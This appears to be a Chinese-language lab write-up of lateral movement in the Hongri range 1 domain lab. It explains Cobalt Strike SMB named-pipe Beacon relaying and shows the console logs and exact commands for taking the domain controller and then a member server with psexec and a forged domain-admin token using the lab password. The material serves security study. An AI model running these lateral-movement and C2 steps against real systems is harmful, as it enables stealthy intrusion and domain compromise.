目录
[1、传统 TCP 监听的局限性](#1、传统 TCP 监听的局限性)
[2、SMB 监听流程](#2、SMB 监听流程)
[4、SMB 监听的优势](#4、SMB 监听的优势)
[第五步:Payload 部署与执行](#第五步:Payload 部署与执行)
[第七步:子 Beacon 上线](#第七步:子 Beacon 上线)
[① 令牌清理](#① 令牌清理)
[② 权限提升](#② 权限提升)
[① 远程载荷部署](#① 远程载荷部署)
[② 服务执行确认](#② 服务执行确认)
[第一阶段:初始入口 - 团队服务器控制跳板机](#第一阶段:初始入口 - 团队服务器控制跳板机)
[第二阶段:核心突破 - 从跳板机攻陷域控制器](#第二阶段:核心突破 - 从跳板机攻陷域控制器)
[第三阶段:权限扩散 - 从域控制器控制成员服务器](#第三阶段:权限扩散 - 从域控制器控制成员服务器)
本文通过红日靶场1的实战演练,详细讲解了基于SMB监听器的横向渗透技术。文章首先分析了传统TCP监听的局限性,阐述了SMB监听器利用命名管道和Beacon中继实现隐蔽通信的原理,并对比了其优势:隐蔽性高、可绕过防火墙、减少出口连接。随后,文章分步骤演示了从跳板机到域控制器再到成员服务器的完整攻击链,包括:
- 1)创建SMB监听器;
- 2)通过PsExec横向移动;
- 3)权限还原与伪造;
- 4)载荷部署与执行;
- 5)会话交互验证。
整个过程通过命令详解和拓扑图直观展示了"团队服务器→跳板机→域控→目标PC"的攻击路径。该技术实现了将横向移动流量封装在合法SMB协议中的高隐蔽渗透,为内网安全防御提供了重要的攻防参考。

一、SMB监听
SMB 监听,也称为"命名管道监听",它是 Cobalt Strike 中一种高级的横向渗透技术,它利用命名管道和 Beacon 中继,将横向移动的流量隐藏在合法的 SMB 协议中,极大地增强了隐蔽性。它的核心原理是 "代理" 和 "重定向"。SMB监听的核心原理是利用Windows命名管道进行隐蔽通信,通过Beacon中继架构实现单向渗透。攻击者在受控主机部署SMB监听器后,横向移动的载荷会通过内网445端口与受控主机建立命名管道连接,而非直接连接C2服务器。所有C2流量均由受控主机通过既有信道(如HTTPS或者HTTP)中转,使得目标机本身不产生外联流量。这种将攻击流量封装在合法SMB协议中的方式,既绕过了防火墙检测,又通过"单出口多代理"架构实现了高隐蔽性通信,有效规避了传统TCP监听可能触发的安全告警。
1、传统 TCP 监听的局限性
传统TCP监听在内网横向渗透中存在明显局限性,其发起的反向连接会在目标机器上建立新的网络会话并开放非常用端口,这种行为模式极易被防火墙策略拦截,也容易因异常外联触发安全告警。
-
在横向移动时,连接可能使用非标准端口上的标准协议(如在8080端口运行HTTP),或使用完全非常见的协议。如果使用标准的 TCP 反向连接,payload 会在目标机器上开启新的端口连接回 C2 服务器,这很容易被深度包检测技术识别。
-
这种行为(内网机器主动向外连接一个未知端口)容易被防火墙策略发现和阻断。
2、SMB 监听流程
-
第一步:建立初始据点
攻击者已经攻陷了机器 A,并在机器 A 上运行了一个 Beacon。
-
第二步:创建 SMB 监听器
在 Cobalt Strike 中创建一个 SMB 监听器。这个监听器并不是一个真正的网络端口监听,而是一个在团队服务器上注册的、用于处理 SMB 协议流量的逻辑实体。
-
第三步:派发 SMB Payload
当进行横向移动时(例如使用
psexec或psexec_psh模块),你选择使用 SMB 监听器来生成 payload。这个 payload 是一个特殊的、包含命名管道路径的可执行文件或服务。 -
第四步:目标机器执行 Payload
你在机器 B 上执行了这个 SMB payload。Payload 会尝试通过 SMB 命名管道 连接到机器 A,而不是直接连接到 C2 服务器。
-
第五步:中继通信
机器 A 上的 Beacon 充当了一个 "中继代理":
-
它通过已有的、隐蔽的(例如 HTTPS)信道连接到 C2 服务器。
-
它同时接收来自机器 B 的 SMB 连接。
-
它将 C2 服务器的指令通过 SMB 管道转发给机器 B 的 Beacon,并将机器 B 的响应数据通过 HTTPS 传回 C2 服务器。
-
3、SMB攻击链
攻击链始于攻击者通过Cobalt Strike团队服务器控制内网跳板机(工作站A),利用已建立的HTTP Beacon作为隐蔽信道;继而以SMB监听器生成特殊载荷,通过PsExec等横向移动技术在目标机(文件服务器B)执行;最终文件服务器B的SMB Beacon通过命名管道连接至工作站A,由后者中继所有C2流量。这种架构使内网机器无需直接外联,将横向渗透流量封装于合法SMB协议中,实现"单出口多代理"的高隐蔽性渗透。
这样就形成了一条 "团队服务器 ⇄ 跳板机A ⇄ 目标服务器B" 的完整单向渗透链。

阶段一:准备与初始控制
-
创建 SMB 监听器: 攻击者在 Cobalt Strike 团队服务器上创建一个 SMB 监听器。这并非开启一个新端口,而是定义了一种通过命名管道接收连接的逻辑。
-
获得初始据点: 攻击者已通过某种方式(如钓鱼邮件、PoC渗透利用)控制了内网中的 机器A ,并在其上运行了一个 Beacon。这个 Beacon 通过 HTTP 等隐蔽信道与团队服务器保持通信。
阶段二:横向移动与中继建立
-
派发 SMB Payload: 攻击者以机器A为跳板,使用横向移动技术(如
psexec、WMI),并选择 SMB 监听器 来生成 payload。该 payload 被投放到 机器B 上执行。 -
建立 SMB 管道连接: 机器B上执行的 SMB payload 不会直接连接互联网上的团队服务器,而是通过内网的 445 端口 ,尝试与机器A建立一个 命名管道 连接。
-
Beacon 中继: 机器A上的 Beacon 接收到这个管道连接后,扮演 "中继代理" 的角色。它将团队服务器的指令通过 SMB 管道转发给机器B,并将机器B返回数据通过其自身的 HTTP 信道回传给团队服务器。
graph LR
subgraph CS_Team [Cobalt Strike团队]
A[Kali攻击机
CS服务器
192.168.59.128]
B[CS客户端
Windows 11
192.168.59.1]
endsubgraph Web_Jump_Server [Web跳板机 - Windows 7] C[Web跳板机<br/>外网IP: 192.168.59.130<br/>内网IP: 192.168.52.143<br/>PHPMyAdmin服务] end subgraph Internal_Network [内网区域 Vmnet1] E[内网DC目标<br/>192.168.52.138<br/>Win Server 2008] F[内网PC目标<br/>192.168.52.141<br/>Win Server 2008] end A --> |CS连接| B B --> C C --> E E --> F
4、SMB 监听的优势
SMB监听的核心优势在于其卓越的隐蔽性和绕过防御的能力。它将C2通信完全封装在内网合法的SMB协议(445端口)中,使得横向移动流量与正常的文件共享流量无异,从而有效规避防火墙拦截和网络异常检测。通过"单出口多代理"的中继架构,只有作为中继的已控主机需要外联,其他内网机器均通过命名管道与其通信,这极大减少了暴露风险。这种设计使安全团队难以发现内网中真正的攻击路径,为攻击者提供了持久且隐蔽的立足点。
-
隐蔽性高: 通信被封装在正常的 SMB 流量中(445端口),看起来像是正常的文件共享或网络管理流量,避免了不常见的端口的出现。
-
绕过防火墙: 内网中 SMB 端口(445)通常是开放的,便于机器间通信,因此很少被防火墙阻断。
-
减少出口连接: 只有作为中继的机器 A 需要与外网的 C2 服务器通信,其他被控内网机器只需连接到机器 A,这更符合内网网络结构。
二、横向渗透实战
1、CS创建SMB监听
-
访问监听器管理界面:
-
在 Cobalt Strike 主界面,顶部菜单栏点击
Cobalt Strike->Listeners。 -
或者使用快捷键
Ctrl+L。
-
-
添加监听器: 在 Listeners 管理窗口中,点击下方的
Add按钮。 -
配置 SMB 监听器参数:
-
Name: 给监听器起一个易于识别的名字,命名为ljn-smb。
-
Payload: 在下拉菜单中选择 Beacon SMB。
-
Pipe Name: 可以保留默认的
msagent_##(如msagent_ljn),也可以自定义一个看起来合法的管道名。这个管道名将在后续通信中使用。 -
其他设置(如
HTTP Hosts等)对于 SMB 监听器是无关的,保持默认或留空即可。
-
-
保存: 点击
Save。此时,你的 SMB 监听器就创建完毕了。注意: 这个监听器不需要绑定任何端口,因为它依赖于已有的 Beacon 进行中继。

点击保存后监听列表中增加ljn-smb监听,如下所示。

2、CS上线域控DC(Win2008)
(1)上线DC
在"视图"-"目标列表"中选择攻击目标192.168.52.138这个域控主机,右键选择"横向移动"-"psexec",具体步骤如下所示。

密码选择administrator对应的hongrisec@2019,会话选择system会话,监听器选择smb,具体如下所示。

点击运行后执行如下所示,在 Cobalt Strike 的主界面看到一个 新的 Beacon 会话 上线,成功上线DC beacon(OWA),这个新 Beacon 的 Internal IP 是目标机器的 IP,而在 External IP 列会显示跳板机A的IP地址。这明确表示该 Beacon 是通过工作站A中继的 SMB Beacon。

(2)横向移动命令详解
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [09/30 21:44:12] beacon>rev2self [09/30 21:44:12] [*] Tasked beacon to revert token [09/30 21:44:12] beacon> make_token GOD.ORG\Administrator hongrisec@2019 [09/30 21:44:12] [*] Tasked beacon to create a token for GOD.ORG\Administrator [09/30 21:44:12] beacon> jump psexec OWA ljn-smb [09/30 21:44:12] [+] host called home, sent: 62 bytes [09/30 21:44:12] [+] Impersonated NT AUTHORITY\SYSTEM [09/30 21:44:13] [*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_ljn) on OWA via Service Control Manager (\\OWA\ADMIN$\5e0debd.exe) [09/30 21:44:13] [+] host called home, sent: 294173 bytes [09/30 21:44:41] [+] received output: Started service 5e0debd on OWA [09/30 21:44:41] [+] established link to child beacon: 192.168.52.138 [09/30 21:44:41] beacon> sleep 0 [from: Beacon 192.168.52.138@2056] [09/30 21:44:41] [*] Tasked beacon to become interactive [09/30 21:44:41] [+] host called home, sent: 28 bytes |
第一步:权限还原
beacon> rev2self
[*] Tasked beacon to revert token
-
操作:撤销当前的身份令牌模拟。
-
目的:清除之前可能使用的任何令牌,为下一步使用高权限凭证做准备,确保令牌环境干净。
第二步:伪造高权限令牌
beacon> make_token GOD.ORG\Administrator hongrisec@2019
[*] Tasked beacon to create a token for GOD.ORG\Administrator
-
操作:使用域管理员凭证创建新的安全令牌。
-
关键信息:
-
域名 :
GOD.ORG -
用户名 :
Administrator(域管理员) -
密码 :
hongrisec@2019
-
-
目的:获取域管理员权限,用于在目标机器上执行操作。
第三步:发起横向移动
beacon> jump psexec OWA ljn-smb
-
命令 :
jump psexec -
目标主机 :
OWA(可能是 Outlook Web Access 服务器) -
使用的监听器 :
ljn-smb(SMB 监听器)
第四步:权限提升确认
[+] Impersonated NT AUTHORITY\SYSTEM
-
结果 :成功模拟
SYSTEM权限,这是 Windows 最高权限。 -
意义:确保在目标机器上能够创建服务、写入文件等需要高权限的操作。
第五步:Payload 部署与执行
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_ljn) on OWA via Service Control Manager (\\OWA\ADMIN$\5e0debd.exe)
-
技术细节:
-
传输方式 :通过 SMB 共享
ADMIN$(C:\Windows\) -
Payload 文件 :
5e0debd.exe(随机名称避免检测) -
通信方式 :
windows/beacon_bind_pipe -
命名管道 :
\\.\pipe\msagent_ljn -
执行机制:通过服务控制管理器创建 Windows 服务
-
第六步:服务启动确认
[+] received output:
Started service 5e0debd on OWA
- 结果 :成功在目标机器
OWA上启动服务5e0debd。
第七步:子 Beacon 上线
[+] established link to child beacon: 192.168.52.138
-
关键信息:
-
子 Beacon IP :
192.168.52.138 -
通信建立:成功通过命名管道建立 C2 通道
-
第八步:会话交互配置
beacon> sleep 0 [from: Beacon 192.168.52.138@2056]
[*] Tasked beacon to become interactive
-
配置:
-
sleep 0:设置为交互模式,立即响应命令 -
进程 ID :
2056(子 Beacon 运行的进程)
-
-
目的:准备开始与新的 Beacon 会话进行交互。
(3)代码命令
图形化操作等同于执行如下命令,rev2self、make_token 和 jump psexec 这三个命令构成了一个完整的横向渗透攻击链。首先,rev2self 用于清除当前可能受限的令牌环境,确保身份状态的纯净性;接着,make_token 通过提供的域管理员凭证 GOD.ORG\Administrator 与密码 hongrisec@2019 伪造高权限安全令牌,获取足够的访问权限;最后,jump psexec 利用 PsExec 方式向目标主机 OWA 发起横向移动,并部署指定的 ljn-smb 监听器载荷,通过 SMB 管道建立隐蔽的信道。整个流程从权限准备、身份伪装到远程执行一气呵成,实现了在域环境中悄无声息的权限扩散与持久化控制。
|-------------------------------------------------------------------------------------------|
| rev2self make_token GOD.ORG\Administrator hongrisec@2019 jump psexec OWA ljn-smb |
(4)DC会话交互
在DC会话-右键-交互,输入whoami、ipconfig、net config workstation命令,如下所示。

3、CS上线目标PC(Win2003)
(1)上线PC
在"视图"-"目标列表"中选择"192.168.52.141"这个目标PC机,其计算机名称为IUSR_ROOT-TVI862UBEH,具体如下所示。

密码选择administrator对应的hongrisec@2019,会话选择DC域控OWA会话,监听器选择smb,具体如下所示。

成功上线192.168.52.141这台ROOT-TVI862UBEH,如下所示。

(2)横向移动命令详解
执行命令详细信息如下所示。
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [09/30 21:55:19] beacon> rev2self [09/30 21:55:19] [*] Tasked beacon to revert token [09/30 21:55:19] beacon> make_token GOD.ORG\Administrator hongrisec@2019 [09/30 21:55:19] [*] Tasked beacon to create a token for GOD.ORG\Administrator [09/30 21:55:19] beacon>jump psexec ROOT-TVI862UBEH ljn-smb [09/30 21:55:19] [+] host called home, sent: 62 bytes [09/30 21:55:19] [+] Impersonated NT AUTHORITY\SYSTEM [09/30 21:55:19] [*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_ljn) on ROOT-TVI862UBEH via Service Control Manager (\\ROOT-TVI862UBEH\ADMIN$\5970496.exe) [09/30 21:55:19] [+] host called home, sent: 293936 bytes [09/30 21:55:24] [+] received output: Started service 5970496 on ROOT-TVI862UBEH [09/30 21:55:24] [+] established link to child beacon: 192.168.52.141 |
第一阶段:权限准备阶段
① 令牌清理
beacon> rev2self
[*] Tasked beacon to revert token
-
技术动作:撤销当前进程令牌的所有模拟
-
战术目的:
-
清除可能受限的先前令牌
-
为后续高权限令牌创建准备干净的环境
-
避免令牌冲突或权限继承问题
-
② 权限提升
beacon> make_token GOD.ORG\Administrator hongrisec@2019
[*] Tasked beacon to create a token for GOD.ORG\Administrator
-
技术动作:创建新的安全令牌
-
关键信息:
-
目标域 :
GOD.ORG -
权限账户 :
Administrator(域管理员) -
认证凭证 :密码
hongrisec@2019
-
-
战术目的:获取域管理员权限,为横向移动提供足够权限
第二阶段:横向移动执行
beacon> jump psexec ROOT-TVI862UBEH ljn-smb [+] Impersonated NT AUTHORITY\SYSTEM
-
攻击向量:PsExec 远程执行
-
目标主机 :
ROOT-TVI862UBEH(主机名) -
载荷类型 :
ljn-smb(SMB 命名管道监听器) -
权限确认 :成功模拟
SYSTEM权限,确保最高执行权限
第三阶段:载荷投递与执行
① 远程载荷部署
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_ljn) on ROOT-TVI862UBEH
via Service Control Manager (\\ROOT-TVI862UBEH\ADMIN$\5970496.exe)
-
技术细节:
-
通信机制 :
beacon_bind_pipe(绑定管道) -
管道名称 :
\\.\pipe\msagent_ljn(隐蔽通信通道) -
投递路径 :
ADMIN$共享(系统管理员共享) -
载荷文件 :
5970496.exe(随机名称避免检测) -
执行方式:Windows 服务控制管理器(SCM)
-
②服务执行确认
[+] received output:
Started service 5970496 on ROOT-TVI862UBEH
-
执行结果:成功在目标主机上创建并启动服务
-
持久化机制:通过 Windows 服务实现载荷持久化
第四阶段:命令控制建立
[+] established link to child beacon: 192.168.52.141
-
成功指标:子 Beacon 会话建立
-
目标IP :
192.168.52.141(ROOT-TVI862UBEH 的 IP 地址) -
通信架构:通过父 Beacon 中继的 SMB 管道通信
(3)代码命令
图形化操作等同于执行如下命令,rev2self、make_token GOD.ORG\Administrator hongrisec@2019 和 jump psexec ROOT-TVI862UBEH ljn-smb 这三个命令构成了一个完整的域内横向渗透攻击链。首先通过 rev2self 清理当前令牌环境,确保操作纯净性;接着使用 make_token 凭借窃取的域管理员凭证 GOD.ORG\Administrator 与密码 hongrisec@2019 伪造高权限安全令牌;最后通过 jump psexec 利用 PsExec 技术向目标主机 ROOT-TVI862UBEH 发起横向移动,并部署 ljn-smb 监听器载荷,通过 SMB 命名管道建立隐蔽信道。整个流程从权限准备、身份伪装到远程代码执行环环相扣,实现了在域环境中无声的权限扩散与持久化控制。
|-------------------------------------------------------------------------------------------------------|
| rev2self make_token GOD.ORG\Administrator hongrisec@2019 jump psexec ROOT-TVI862UBEH ljn-smb |
(4)PC会话交互
PC右键 "会话交互",执行whoami、ipconfig、systeminfo,如下所示。


4、拓扑总结
通过 View → Visualization或者点击如下红框内容会展示图形化视图,具体如下所示。

在 Cobalt Strike 的 "Visualization" 视图 中,整个攻击链将呈现一个清晰的、多级的 "攻击路径树",准确反映了您描述的"跳板机 → DC → 成员服务器"的攻击顺序。
团队服务器 ⇄ (HTTP) ⇄ STU1 ⇄ (SMB管道) ⇄ OWA ⇄ (SMB管道) ⇄ ROOT-TVI862UBEH

第一阶段:初始入口 - 团队服务器控制跳板机
-
节点1(初始跳板): 第一个也是根部的图标,代表已被攻陷的 Web服务器/跳板机(STU1)。
-
连接线(绿色): 该节点通过一条 绿色的实线 直接连接到代表 Cobalt Strike 团队服务器 的"中心节点"。这表明 STU1 通过一个 HTTP/HTTPS Beacon 与攻击者保持直接通信。
-
内部状态: 该节点内部显示了两个权限上下文:初始的
administrator用户和通过提权获得的SYSTEM账号,这解释了它为何有能力进行后续的横向移动。
第二阶段:核心突破 - 从跳板机攻陷域控制器
- 节点2(核心目标): 从 STU1(跳板机) 节点引出一条线,连接到左边的第二个图标,即 域控制器 (DC) ,标签为
OWA(IP:192.168.52.138)。 - 连接线1(中继 - SMB): 这条从 STU1 指向 OWA 的连接线是 第一级中继 。它代表通过
jump psexec和ljn-smb监听器建立的 SMB 管道 。关键点在于:OWA节点 没有 直接连回团队服务器,它的所有通信都必须先通过 SMB 管道回连到跳板机STU1,再由STU1的 HTTP Beacon 中继出去。
第三阶段:权限扩散 - 从域控制器控制成员服务器
-
节点3(二次扩散): 从 OWA (DC) 节点再次引出一条线,连接到一个代表 成员服务器 的新节点
ROOT-TVI862UBEH(IP:192.168.52.141)。 -
连接线2(中继 - SMB): 这条从 OWA 指向 ROOT-TVI862UBEH 的连接线是 第二级中继 。它同样是 SMB 管道 ,并且同样遵循中继原则:
ROOT-TVI862UBEH节点只连接到它的父节点OWA。flowchart LR
C2[Cobalt Strike
团队服务器]subgraph InternalNetwork [目标内部网络] STU1[Web跳板机<br>STU1] DC[域控制器<br>OWA<br>192.168.52.138] PC[成员服务器<br>ROOT-TVI862UBEH<br>192.168.52.141] end C2 -- "1. 初始控制<br>HTTP/HTTPS Beacon" --> STU1 STU1 -- "2. 第一次横向<br>SMB管道中继" --> DC DC -- "3. 第二次横向<br>SMB管道中继" --> PC